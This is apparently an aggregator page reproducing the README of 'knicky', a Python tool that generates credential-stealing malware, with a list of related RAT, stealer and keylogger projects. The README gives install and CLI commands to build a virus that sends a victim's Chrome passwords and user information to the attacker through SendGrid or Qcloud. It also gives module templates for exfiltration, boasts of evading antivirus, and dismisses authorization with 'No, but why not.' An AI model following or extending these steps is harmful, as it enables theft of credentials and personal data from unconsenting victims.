All Projects â†’ shouc â†’ knicky

shouc / knicky

Licence: other
A module-based static virus generator 🚀

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to knicky

The-MALWARE-Repo
A repository full of malware samples.
Stars: ✭ 380 (+850%)
Mutual labels:  virus, trojan, rat
Serpentine
C++/Win32/Boost Windows RAT (Remote Administration Tool) with a multiplatform Java/Spring RESTful C2 server and Go, C++/Qt5 frontends
Stars: ✭ 216 (+440%)
Mutual labels:  virus, trojan, rat
ToxicEye
ðŸ‘― Program for remote control of windows computers via telegram bot. Written in C#
Stars: ✭ 305 (+662.5%)
Mutual labels:  virus, trojan, rat
ConTroll Remote Access Trojan
Created a VERY SIMPLE remote access Trojan that will establish administrative control over any windows machine it compromises.
Stars: ✭ 69 (+72.5%)
Mutual labels:  virus, trojan, rat
Adamantium Thief
🔑 Decrypt chromium based browsers passwords, cookies, credit cards, history, bookmarks, autofill. Version > 80 is supported.
Stars: ✭ 283 (+607.5%)
Mutual labels:  virus, trojan
Sillyrat
A Cross Platform multifunctional (Windows/Linux/Mac) RAT.
Stars: ✭ 152 (+280%)
Mutual labels:  trojan, rat
Trojancockroach
A Stealthy Trojan Spyware
Stars: ✭ 424 (+960%)
Mutual labels:  virus, trojan
Aviator
Antivirus evasion project
Stars: ✭ 529 (+1222.5%)
Mutual labels:  virus, trojan
Ratel
RAT-el is an open source penetration test tool that allows you to take control of a windows machine. It works on the client-server model, the server sends commands and the client executes the commands and sends the result back to the server. The client is completely undetectable by anti-virus software.
Stars: ✭ 121 (+202.5%)
Mutual labels:  virus, rat
Telegram Rat
Windows Remote Administration Tool via Telegram. Written in Python
Stars: ✭ 201 (+402.5%)
Mutual labels:  virus, rat
RSB-Framework
Windows/Linux - ReverseShellBackdoor Framework
Stars: ✭ 44 (+10%)
Mutual labels:  trojan, rat
trolo
trolo - an easy to use script for generating Payloads that bypasses antivirus
Stars: ✭ 45 (+12.5%)
Mutual labels:  trojan, rat
N00brat
Remote Administration Toolkit (or Trojan) for POSiX (Linux/Unix) system working as a Web Service
Stars: ✭ 148 (+270%)
Mutual labels:  trojan, rat
Networm
Python network worm that spreads on the local network and gives the attacker control of these machines.
Stars: ✭ 135 (+237.5%)
Mutual labels:  trojan, rat
Stupidkeylogger
A Terrific Keystroke Recorder
Stars: ✭ 318 (+695%)
Mutual labels:  virus, trojan
Rat Hodin V2.9
Remote Administration Tool for Linux
Stars: ✭ 97 (+142.5%)
Mutual labels:  trojan, rat
Teleshadow3
Telegram Desktop Session Stealer
Stars: ✭ 83 (+107.5%)
Mutual labels:  trojan, rat
Unencrypted Backdoor With Process Cloaking
Unencrypted backdoor
Stars: ✭ 16 (-60%)
Mutual labels:  trojan, rat
Spacecow
Windows Rootkit written in Python
Stars: ✭ 81 (+102.5%)
Mutual labels:  trojan, rat
PyIris
PyIris is a modular remote access trojan toolkit written in python targeting Windows and Linux systems.
Stars: ✭ 296 (+640%)
Mutual labels:  trojan, rat

Knicky

Yet another module-based static virus generator

Little FAQ

WTF is static virus?
Static virus is the virus/trojan that has already had all its functions been defined and would not be controlled by server side. Instead, it would only send critical information (Chrome password, etc.) slowly and predictedly to server side using legitimate third-party services (Sendgrid, AWS, Qcloud, etc.).
How it works

Why use it?
Because the virus generated could always bypass the anti-virus softwares. If not, then make some modification on the modules you are using. And you can also use it in DMZ!

Am I authorized to hack others' computer?
No, but why not.

Definition

You should know these conventions to understand following content

  • Module - components that are used to return critical information
  • Messenger - components that are used to communicate with you and the hacked machine
  • Project - each specific virus created

Installation

Please use Python 2.7ish!

$ git clone https://github.com/shouc/knicky.git && cd knicky
$ python -m pip install -r requirements/main.txt --user

Small Examples

1. Initialize the Module

Using Sendgrid

Note: See the help information about such module

$ python cli.py sgUpdate --help

Note: Replace the information in <> in accordance to your personal information

$ python -m pip install -r requirements/sendgrid.txt --user
$ python cli.py sgUpdate\
    --user <receiving email address>\
    --password <receiving email password>\
    --server <receiving email pop3 server>\
    --apiKey <sendgrid api key>\
    -b True
Using Qcloud COS (č…ūčŪŊ乑å‚Ļ存)

Note: See the help information about such module

$ python cli.py qcloudUpdate --help

Note: Replace the information in <> in accordance to your personal information after creating a COS bucket in the panel

$ python -m pip install -r requirements/qcloud.txt --user
$ python cli.py qcloudUpdate\
    --secretID <SecretID>\
    --secretKey <SecretKey>\
    --region <BucketRegion>\
    --bucket <BucketName>\
    -b True

2. Have an Overview on Components

See all information about Messenger (components that are used to communicate with you and the hacked machine)

$  python cli.py getSendInfo

See all information about Module (components that are used to return critical information)

$  python cli.py getModuleInfo

3. Create a Virus

Note: By doing so, you created a virus that could send the information of user (userInfo) and Chrome password (chromePassword) of the machine that executed the generated code to you by Qcloud(qcloud)

$ python cli.py createProj userInfo+chromePassword qcloud

4. Receive Information

Note: The information sent to you is encrypted by base64 and you could use following command to decrypt

$ python cli.py listProj
$ python cli.py receiveInfo <project name from foregoing command>

Develop Module

Modules are located at /module folder and ends with .py.

A module's code should include two functions and several constant:

__sys__ = ["Windows"] # Specify the platform supported
__name__ = "chromeCookies" # Specify the name of messenger
__desc__ = "Retrieve all Cookies of Google Chrome" # Specify the description of messenger


def send():
    """
    Generate the information that is sent to attacker's computer
    This is executed on client side
    :return: plain content need to send to attacker's computer
    """
    pass

Make sure to put all import statement in send() to make the virus more concise and efficient.

Develop Messenger

Messengers are located at /messenger folder and ends with .uninit.

A messenger's code should include two functions and several constant:

__sys__ = ["Windows", "Darwin", "Linux"] # Specify the platform supported
__name__ = "AWS" # Specify the name of messenger
__desc__ = "Use AWS" # Specify the description of messenger


def send(_content, _module, _projName):
    """
    How the information is sent to attacker's computer (e.g. sending email)
    This is executed on client side
    _content: the content need to send
    _module: the module that created this content
    _projName: the name of this project
    """
    pass

def receive(_range, _projName):
    """
    How the information is received by attacker's computer (e.g. receiving email)
    This is executed on attacker side
    _range: the amount of record attacker needs
    _projName: the name of this project
    :return: [{'_content': the content received
              '_projName': the name of this project
              '_byModule': the module created this content
              '_from': [Optional] the user identifier of this content (e.g. username of computer)
              '_id': [Optional] the identifier of this content
              '_date': the time},]
    """
    pass

Make sure to put all import statement in send() / receive() to make the virus more concise and efficient.

As different user has different credential for messenger (e.g. different API key for sendgrid), you can specify a configuration in /config.py and use "[email protected]@!" to replace the original credential so that update function could understand.

For example,

# config.py
class xxxUpdate(updateBase):
    def __init__(self, xxAPIKey="xxx", yyAPIKey="yyy", bypass=False):
        updateBase.__init__(self)
        updateBase.stop(self)
        self.bypass = bypass
        self.fileName = "messenger/xxx.uninit"
        self.updateList = [
            {"xxAPIKey": "secretID", "after": xxAPIKey, "desc": ""},
            {"yyAPIKey": "secretID", "after": yyAPIKey, "desc": ""},
        ]

Then, all "[email protected]@!" and "[email protected]@!" are replaced to what user specified in CLI.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].